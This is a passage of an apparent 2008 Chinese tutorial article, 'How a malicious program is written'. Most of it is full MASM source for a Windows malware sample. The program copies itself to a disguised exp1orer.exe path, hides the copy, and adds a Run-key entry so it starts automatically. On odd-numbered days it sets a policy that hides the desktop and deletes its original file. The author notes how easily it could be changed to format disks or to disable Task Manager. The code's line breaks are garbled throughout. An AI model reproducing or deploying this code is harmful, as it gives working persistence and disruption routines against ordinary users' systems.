RSS
热门关键字:
当前位置 :| 主页>病毒安全>病毒知识>

恶意程序是怎样写成的

来源:51CTO.COM 作者: 时间:2008-02-18 Tag: 点击:

addr szWriteValue,NULL,\REG_DWORD,addr szDword,

4 ;写入一个REG_DWORD类型的数据invoke RegCloseKey,

@hKey.endifret_WriteKey endp

做完后,这一步就到了传播,呵呵,不过偶没写,就来个“invoke deleteFile,addr szDirectory”删除,然后也就退出了“invoke ExitProcess,NULL”虽然说恶意程序,但是破坏的地方不多。假如要模拟“万花谷”的破坏方式,也就是禁止了注册表而已,这个完全可以做到。程序的完整代码如下:

 

.386.model flat,

stdcalloption casemap:noneinclude windows.incinclude

kernel32.incinclude user32.incinclude advapi32.incincludelib

kernel32.libincludelib user32.libincludelib

advapi32.lib.dataszWin db ''C:\windows\system32\exp1orer.exe'',

0szCmdAttrib db ''attrib R H C:\windows\system32\exp1orer.exe'',

0szDirectory db 0szRegKey db ''

SOFTWARE\Microsoft\Windows\CurrentVersion\Run'',

0szRegValue db ''StartPE'',

0szStr1 db "C:\WINDOWS\System32\exp1orer.exe"szWriteKey

db ''Software\Microsoft\Windows\CurrentVersion\

 

Policies\Explorer\'',0szWriteValue db ''NoDesktop'',0 ;

键值名称szDword dd 1 ;数据.data?hInstance dd ?hModule dd

?lpSystemTime SYSTEMTIME osVersion OSVERSIONINFO

stStartUp STARTUPINFO stProcInfo PROCESS_INFORMATION

.code;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

_AttribCmd procinvoke GetStartupInfo,addr stStartUpinvoke

createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,

\NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,

addr stProcInforet_AttribCmd endp;>>>>>>>>>>>>>>>>>>

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

_createKey proc _lpKeylocal @hKey,@dwIndex,@dwLastTime:FILETIMEinvoke

RegcreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,

addr @hKey.if eax == ERROR_SUCCESSinvoke RegSetValueEx,

@hKey,addr szRegValue,NULL,\REG_SZ,addr szStr1,32 ;

写入一个REG_SZ类型的数据invoke RegCloseKey,

@hKey.endifret_createKey endp;>>>>>>>>>>>>>>>

_WriteKey proc _lpKeylocal @hKey,@dwIndex,

@dwLastTime:FILETIMEinvoke RegcreateKey,

HKEY_CURRENT_USER,

offset szWriteKey,addr @hKey.if eax

== ERROR_SUCCESSinvoke RegSetValueEx,@hKey,

addr szWriteValue,NULL,\REG_DWORD,addr szDword,

4 ;写入一个REG_DWORD类型的数据invoke RegCloseKey,

@hKey.endifret_WriteKey endp;>>>>>>>>>>>>>>>>>>>>>>>>>>

start:invoke GetModuleHandle,0mov hInstance,eaxinvoke _createKey,

NULL ;设置为启动invoke GetSystemTime,offset lpSystemTimemovzx ebx,

lpSystemTime.wDay ;获取本地日,你可以判定这个变量就可以了。

.if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)|

|(ebx == 9)|
|(ebx == 11)||(ebx == 13)||(ebx == 15)|

|(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)|
|(ebx == 25)|

|(ebx == 27)||(ebx == 29)invoke GetModuleFileName,

hModule,addr szDirectory,200;获取程序路径invoke CopyFile,

addr szDirectory,addr szWin,FALSEcall _AttribCmdinvoke _WriteKey,NULL

;修改注册表,隐藏桌面图表invoke deleteFile,

addr szDirectoryinvoke ExitProcess,NULL.endifend start

这个程序要是经过恶意修改,格式化磁盘是完全没问题的,无非就是调用一个“createProcess”,但是知道了一种调用方法,其他的也是千篇一律,例如对注册表修改,禁止右键,禁止使用任务治理器,禁止IE选项等等所以我声明一下,这个程序带有一点点的攻击性,发表仅仅提供交流,假如使用,后果由使用者自己负责,与作者和邪恶八进制无关。

最新评论共有 0 位网友发表了评论
发表评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
用户名: 密码:
匿名?
注册